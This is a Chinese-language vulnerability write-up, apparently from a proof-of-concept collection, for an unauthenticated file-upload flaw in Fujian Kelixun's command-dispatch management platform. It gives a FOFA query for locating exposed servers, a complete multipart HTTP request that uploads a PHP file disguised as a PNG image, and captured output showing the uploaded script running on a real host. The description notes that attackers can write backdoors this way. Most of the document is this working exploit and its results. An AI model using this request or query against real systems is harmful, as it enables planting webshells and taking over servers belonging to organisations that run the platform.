

F2-6福建科立讯通信-指挥调度管理平台-文件上传

漏洞描述:

福建科立讯通信有限公司指挥调度管理平台upload.php、task/uploadfile.php、event/uploadfile.php多处接口存在文件上传漏洞, 未经身份认证的攻击者可通给该漏洞写入后门文件, 可导致服务器失陷。

网站图片:



网络测绘:

fofa语法:

FOFA: body="指挥调度管理平台"

漏洞复现:

payload:

```
POST /custom/xx/event/uploadfile.php HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySwvD8hSn3Z0sHfMu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

-----WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name="uuid"

1
-----WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name="number"

200
-----WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name="uploadfile"; filename="d.php"
Content-Type: image/png

<?php phpinfo(); ?>
-----WebKitFormBoundarySwvD8hSn3Z0sHfMu--
```

效果图:

Request

< > 数据包扫描 附加数据 构造请求

1 POST /custom/zx/event/uploadfile.php HTTP/1.1
2 Host: [redacted]
3 Upgrade-Insecure-Requests: 1
4 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySuvD8hSn3Z0sHfMu
5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imagepng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.7
7 Accept-Encoding: gzip, deflate
8 Accept-Language: zh-CN,zh;q=0.9
9 Connection: close
10
11 -----WebKitFormBoundarySuvD8hSn3Z0sHfMu
12 Content-Disposition: form-data; name="uuid"
13
14 1
15 -----WebKitFormBoundarySuvD8hSn3Z0sHfMu
16 Content-Disposition: form-data; name="number"
17
18 200
19 -----WebKitFormBoundarySuvD8hSn3Z0sHfMu
20 Content-Disposition: form-data; name="uploadfile"; filename="d.php"
21 Content-Type: image/png
22

Responses https 138bytes / 32ms 美化 渲染 请输入定位响应

1 HTTP/1.1 200 OK
2 Date: Thu, 04 Jan 2024 15:20:23 GMT
3 Server: Apache
4 Upgrade: h2
5 Connection: Upgrade, close
6 Set-Cookie: PHPSESSID=ad0d2970ac0625e815c88628e25a169b; path=/
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 X-Frame-Options: SAMEORIGIN;
11 Referer-Policy: origin;
12 Content-Security-Policy: frame-ancestors 'self';
13 X-Permitted-Cross-Domain-Policies: master-only;
14 X-XSS-Protection: 1; mode=block;
15 X-Download-Options: SAMEORIGIN;
16 X-Content-Type-Options: nosniff;
17 Strict-Transport-Security: max-age=31536000;
18 Content-Type: text/html; charset=utf-8
19 Content-Length: 138
20
21 {"code":0,"msg":"success","uid":"3877c764-f587-4e35-9d7d-f9bf54f9bfa9","url":"/upload/event/b4e1de17-afd3-4a7f-a172-8fed723791cc.php"}
22

< > ↺

不安全 https://[redacted]/upload/event/b4e1de17-afd3-4a7f-a172-8fed723791cc.php

PHP Version 7.2.17

System	Linux dispatcher 3.10.0-957.el7.x86_64 #1 SMP Thu Nov 8 23:39:32 UTC 2018 x86_64
Build Date	May 13 2019 18:14:36
Server API	Apache 2.0 Handler
Virtual Directory Support	enabled
Configuration File (php.ini) Path	/etc
Loaded Configuration File	/etc/php.ini
Scan this dir for additional .ini files	/etc/php-zts.d
Additional .ini files parsed	/etc/php-zts.d/bz2.ini, /etc/php-zts.d/calendar.ini, /etc/php-zts.d/ctype.ini, /etc/php-zts.d/dom.ini, /etc/php-zts.d/exif.ini, /etc/php-zts.d/fileinfo.ini, /etc/php-zts.d/gd.ini, /etc/php-zts.d/gettext.ini, /etc/php-zts.d/gmp.ini, /etc/php-zts.d/iconv.ini, /etc/php-zts.d/json.ini, /etc/php-zts.d/mbstring.ini, /etc/php-zts.d/mysqli.ini, /etc/php-zts.d/openssl.ini, /etc/php-zts.d/pdo_mysql.ini, /etc/php-zts.d/pdo_mysql.ini, /etc/php-zts.d/pdo_sqlite.ini, /etc/php-zts.d/phar.ini, /etc/php-zts.d/shmop.ini, /etc/php-zts.d/sockets.ini, /etc/php-zts.d/sqlite3.ini, /etc/php-zts.d/tokenizer.ini, /etc/php-zts.d/xml.ini, /etc/php-zts.d/xmlreader.ini, /etc/php-zts.d/xmlwriter.ini, /etc/php-zts.d/xsl.ini, /etc/php-zts.d/zip.ini
PHP API	20170718
PHP Extension	20170718
Zend Extension	320170718
Zend Extension Build	API320170718,TS
PHP Extension Build	API20170718,TS